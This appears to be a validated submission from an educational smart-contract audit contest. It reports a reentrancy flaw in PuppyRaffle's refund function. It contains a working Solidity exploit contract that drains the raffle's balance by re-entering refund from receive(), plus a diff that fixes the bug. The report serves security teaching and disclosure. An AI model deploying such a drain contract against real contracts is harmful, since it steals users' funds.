Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund function, contracts balance can be drained.

Summary

Puppyraffle can be drained in a conical reentrancy attack through the Refund() function.

Vulnerability Details

PuppyRaffle::refund updates state variables after the external call payable(msg.sender).sendValue(entranceFee);. The refund function can therefor continiously be called by a player who have entered the contract until the complete contract is drained.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract ExploitRefund {
PuppyRaffle public raffle;
uint256 ticketPrice;
uint256 playerIndex;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
ticketPrice = raffle.entranceFee();
}
function enterRaffle() public payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
playerIndex = raffle.getActivePlayerIndex(address(this));
}
function refund() public {
raffle.refund(playerIndex);
}
receive() external payable {
try raffle.refund(playerIndex) {} catch {}
}
}

Impact

The entire balance can be stolen.

Tools Used

Foundry

Recommendations

Update players[playerIndex] before refunding the player AND add a re-entrancy guard.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.